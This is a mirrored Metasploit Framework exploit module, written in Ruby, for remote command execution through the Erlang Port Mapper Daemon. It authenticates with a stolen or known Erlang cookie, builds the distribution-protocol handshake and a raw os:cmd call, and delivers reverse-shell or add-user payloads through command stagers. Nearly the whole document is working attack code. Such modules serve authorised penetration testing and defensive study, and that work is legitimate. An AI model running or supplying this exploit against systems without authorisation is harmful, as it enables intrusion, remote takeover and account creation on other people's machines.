Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/misc/erlang_cookie_rce.rb
19516 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::CmdStager
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Erlang Port Mapper Daemon Cookie RCE',
17
'Description' => %q{
18
The erlang port mapper daemon is used to coordinate distributed erlang instances.
19
Should an attacker get the authentication cookie RCE is trivial. Usually, this
20
cookie is named ".erlang.cookie" and varies on location.
21
},
22
'Author' => [
23
'Daniel Mende', # blog post article
24
'Milton Valencia (wetw0rk)', # metasploit module
25
],
26
'References' => [
27
['URL', 'https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/']
28
],
29
'License' => MSF_LICENSE,
30
'Privileged' => 'false',
31
'Targets' => [
32
[
33
'Unix',
34
'Platform' => 'unix',
35
'Arch' => ARCH_CMD,
36
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' },
37
],
38
[
39
'Linux (CmdStager)',
40
'Type' => :cmdstager,
41
'Platform' => 'linux',
42
'Arch' => [ARCH_X64, ARCH_X86],
43
'CmdStagerFlavor' => ['printf', 'echo', 'bourne']
44
],
45
[
46
'Windows',
47
'Platform' => 'win',
48
'Arch' => ARCH_CMD,
49
'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/adduser' },
50
],
51
[
52
'Windows (CmdStager)',
53
'Type' => :cmdstager,
54
'Platform' => 'win',
55
'Arch' => [ARCH_X64, ARCH_X86],
56
'CmdStagerFlavor' => ['certutil', 'vbs'],
57
'DefaultOptions' => { 'PAYLOAD' => 'windows/shell/reverse_tcp' }
58
]
59
],
60
'DefaultTarget' => 0,
61
'DisclosureDate' => '2009-11-20',
62
'Notes' => {
63
'Reliability' => UNKNOWN_RELIABILITY,
64
'Stability' => UNKNOWN_STABILITY,
65
'SideEffects' => UNKNOWN_SIDE_EFFECTS
66
} # https://github.com/erlang/otp/blob/master/lib/kernel/src/os.erl (history)
67
)
68
)
69
70
register_options(
71
[
72
OptString.new('COOKIE', [ true, 'Erlang cookie to login with']),
73
Opt::RPORT(25672)
74
]
75
)
76
end
77
78
def generate_challenge_digest(challenge)
79
challenge = challenge.unpack('H*')[0].to_i(16).to_s
80
81
hash = Digest::MD5.new
82
hash.update(datastore['COOKIE'])
83
hash.update(challenge)
84
85
vprint_status("MD5 digest generated: #{hash.hexdigest}")
86
return [hash.hexdigest].pack('H*')
87
end
88
89
def execute_command(cmd, opts = {})
90
# SEND: send the message to the node
91
send = "\x00\x00\x00" # Length:0x00000000
92
send << [(0x50 + cmd.length + @our_node.length * 2).to_s(16)].pack('H*')
93
send << "\x70" #
94
send << "\x83" # VERSION_MAGIC
95
send << "\x68" # SMALL_TUPLE_EXT (104)
96
send << "\x04" # Arity: 4
97
send << "\x61" # SMALL_INTEGER_EXT
98
send << "\x06" # Int: 6
99
send << "\x67" # PID_EXT (103)
100
send << "\x64\x00" # Node:
101
send << [(@our_node.length).to_s(16)].pack('H*') # Length: strlen(Node)
102
send << "#{@our_node}" # Node
103
send << "\x00\x00\x00\x03" # ID
104
send << "\x00\x00\x00\x00" # Serial
105
send << "\x00" # Creation
106
send << "\x64" # InternalSegmentIndex
107
send << "\x00\x00" # Len: 0x0000
108
send << "\x64" # InternalSegmentIndex
109
send << "\x00\x03" # Length: 3
110
send << "rex" # AtomText: rex
111
send << "\x83\x68\x02\x67\x64\x00" #
112
send << [(@our_node.length).to_s(16)].pack('H*') # Length: strlen(Node)
113
send << "#{@our_node}" # Node
114
send << "\x00\x00\x00\x03" # ID
115
send << "\x00\x00\x00\x00" # Serial
116
send << "\x00" # Creation
117
send << "\x68" # SMALL_TUPLE_EXT (104)
118
send << "\x05" # Arity: 5
119
send << "\x64" # InternalSegmentIndex
120
send << "\x00\x04" # Length: 4
121
send << "call" # AtomText: call
122
send << "\x64" # InternalSegmentIndex
123
send << "\x00\x02" # Length: 2
124
send << "os" # AtomText: os
125
send << "\x64" # InternalSegmentIndex
126
send << "\x00\x03" # Length: 3
127
send << "cmd" # AtomText: cmd
128
send << "\x6c" # LIST_EXT
129
send << "\x00\x00\x00\x01" # Length: 1
130
send << "\x6b" # Elements: k
131
send << "\x00" # Tail
132
send << [(cmd.length).to_s(16)].pack('H*') # strlen(Command)
133
send << cmd
134
send << "\x6a" # NIL_EXT
135
send << "\x64" # InternalSegmentIndex
136
send << "\x00\x04" # Length: 4
137
send << "user" # AtomText: user
138
sock.put(send)
139
end
140
141
def exploit
142
connect
143
144
@our_node = "#{rand_text_alphanumeric(6..12)}@#{rand_text_alphanumeric(6..12)}"
145
146
# SEND_NAME: send initial identification of who "we" are
147
send_name = "\x00" # Length: 0x0000
148
send_name << [(@our_node.length + 7).to_s(16)].pack('H*')
149
send_name << "\x6e" # Tag: n
150
send_name << "\x00\x05" # Version: R6 (5)
151
send_name << "\x00\x07\x49\x9c" # Flags (0x0007499c)
152
# DFLAG_EXTENDED_REFERENCES (0x4)
153
# DFLAG_DIST_MONITOR (0x8)
154
# DFLAG_FUN_TAGS (0x10)
155
# DFLAG_NEW_FUN_TAGS (0x80)
156
# DFLAG_EXTENDED_PIDS_PORTS (0x100)
157
# DFLAG_NEW_FLOATS (0x800)
158
# DFLAG_SMALL_ATOM_TAGS (0x4000)
159
# DFLAG_UTF8_ATOMS (0x10000)
160
# DFLAG_MAP_TAG (0x20000)
161
# DFLAG_BIG_CREATION (0x40000)
162
send_name << "#{@our_node}" # <generated>@<generated>
163
164
# SEND_CHALLENGE_REPLY: return generated digest and its own challenge
165
send_challenge_reply = "\x00\x15" # Length: 21
166
send_challenge_reply << "\x72" # Tag: r
167
168
sock.put(send_name)
169
170
# receive servers "SEND_CHALLENGE" token (4 bytes)
171
print_status("Receiving server challenge")
172
challenge = sock.get
173
challenge = challenge[14, 4]
174
175
send_challenge_reply << challenge
176
send_challenge_reply << generate_challenge_digest(challenge)
177
178
print_status("Sending challenge reply")
179
sock.put(send_challenge_reply)
180
181
if sock.get.length < 1
182
fail_with(Failure::UnexpectedReply, "Authentication Failed:#{datastore['COOKIE']}")
183
end
184
185
print_good("Authentication successful, sending payload")
186
187
print_status('Exploiting...')
188
if target['Type'] == :cmdstager
189
execute_cmdstager(:linemax => 100)
190
else
191
execute_command(payload.raw)
192
end
193
disconnect
194
end
195
end
196
197